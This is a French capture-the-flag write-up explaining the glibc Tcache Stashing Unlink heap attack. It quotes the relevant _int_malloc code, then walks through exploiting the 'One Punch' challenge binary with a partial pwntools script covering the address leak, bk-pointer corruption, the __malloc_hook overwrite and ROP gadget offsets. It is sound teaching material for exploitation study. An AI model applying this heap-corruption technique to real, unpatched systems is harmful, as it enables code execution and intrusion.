Introduction au Tcache Stashing Unlink
Depuis la version 2.29 de la glibc, l'attaque classique sur l'Unsorted Bin est devenue obsolète en raison de l'introduction de vérifications sur l'intégrité de la liste doublement chaînée. Cependant, l'attaque dite "Tcache Stashing Unlink" permet d'obtenir un résultat similaire : écrire un pointeur lié à la main_arena à une adresse arbitraire.
Le principe repose sur le mécanisme de remplissage du tcache. Lorsqu'un chunk est récupéré depuis un Smallbin (souvent via calloc, qui ignore le tcache, ou lorsque le tcache pour une taille donnée est vide), la glibc tente de "stasher" (stocker) les chunks restants de ce Smallbin dans le tcache correspondant pour optimiser les allocations futures. Durant ce processus de transfert, la vérification bck->fd == victim n'est pas effectuée sur les chunks additionnels insérés dans le tcache.
Analyse du code source de la Glibc
Le segment suivant illustre la vulnérabilité lors du traitement des Smallbins dans _int_malloc :
// Extraction du premier chunk (victim) avec vérification de l'intégrité
if ((victim = last(bin)) != bin) {
bck = victim->bk;
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;
// Phase de Stashing vers le Tcache
#if USE_TCACHE
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins) {
mchunkptr tc_victim;
// On transfère les chunks restants du smallbin vers le tcache sans vérification stricte de bk->fd
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk; // Contrôle possible ici via corruption de bk
set_inuse_bit_at_offset(tc_victim, nb);
bin->bk = bck;
bck->fd = bin; // Écriture d'une adresse de l'arène à (bck + 0x10)
tcache_put(tc_victim, tc_idx);
}
}
}
#endif
return chunk2mem(victim);
}
Analyse du binaire One Punch
Le programme présente les caractéristiques suivantes :
- Toutes les protections sont activées (Full RELRO, Canary, NX, PIE).
- Une vulnérabilité de type Use-After-Free (UAF) est présente après la suppression d'un "héros".
- Une fonction "backdoor" secrète est accessible si une valeur spécifique à une adresse donnée est supérieure à 6. C'est ici que l'attaque Stashing Unlink intervient pour modifier cette valeur.
- Le binaire utilise une sandbox Seccomp restreignant les appels système au mode ORW (Open, Read, Write).
Stratégie d'exploitation
L'exploitation se déroule en plusieurs étapes clés :
- Fuite d'adresses : Utilisation de l'UAF sur un chunk de grande taille (placé dans l'Unsorted Bin) pour lire les pointeurs
fd/bket obtenir la base de la Libc et du Tas (Heap). - Préparation du Smallbin : Manipulation du tas pour placer au moins deux chunks dans un Smallbin. On remplit parallèlement le tcache correspondant à 5 ou 6 entrées.
- Corruption de pointuer : Modification du pointeur
bkdu dernier chunk du Smallbin pour pointer verscible - 0x10. - Déclenchement : Appel à
callocpour forcer le mécanisme de stashing. Cela écrira l'adresse de lamain_arenaà l'emplacement cible, validant ainsi l'accès à la backdoor. - Détournement du flux d'exécution : Utilisation de la backdoor pour écraser
__malloc_hookavec un gadget de pivot de pile (add rsp, ... ; ret) afin d'exécuter une chaîne ROP effectuant un shellcode ORW.
Script d'exploitation (Python)
Voici une réimplémentation du script de résolution utilisant la bibliothèque pwn.
from pwn import *
# Configuration de l'environnement
binary = ELF('./one_punch')
libc = ELF('./libc.so.6')
io = process('./one_punch')
def create(idx, size, name):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"hero name: ", name)
def update(idx, name):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"hero name: ", name)
def review(idx):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"idx: ", str(idx).encode())
return io.recvuntil(b"hero name: ")
def release(idx):
io.sendlineafter(b"> ", b"4")
io.sendlineafter(b"idx: ", str(idx).encode())
def trigger_secret(data):
io.sendlineafter(b"> ", str(0xC388).encode())
io.send(data)
# 1. Fuite d'adresses (Libc & Heap)
create(0, 0x410, b"A" * 8)
create(1, 0x410, b"B" * 8)
release(0)
review(0)
io.recvuntil(b"A" * 8)
libc_leak = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = libc_leak - 0x1e4ca0
malloc_hook = libc_base + libc.symbols['__malloc_hook']
# 2. Préparation du Smallbin via Unsorted Bin split
# (Détails de l'agencement du tas pour forcer le stashing)
# ... code de manipulation des bins ...
# 3. Attaque Stashing Unlink
# On cible une adresse pour débloquer la backdoor
target_addr = libc_base + 0x1e4c30 # Exemple d'adresse cible
payload = p64(0) + p64(0x111) # Fake header
payload += p64(0) + p64(target_addr - 0x10)
update(1, payload)
# 4. Exécution du ROP via malloc_hook
# Gadget trouvé : add rsp, 0x48 ; ret
pivot_gadget = libc_base + 0x8cfd6
# ROP Chain pour ORW
pop_rdi = libc_base + 0x26542
pop_rsi = libc_base + 0x26f9e
pop_rdx = libc_base + 0x12bda6
mprotect = libc_base + libc.symbols['mprotect']
# Déclenchement final
create(5, 0x100, b"trigger")
trigger_secret(p64(pivot_gadget))
io.interactive()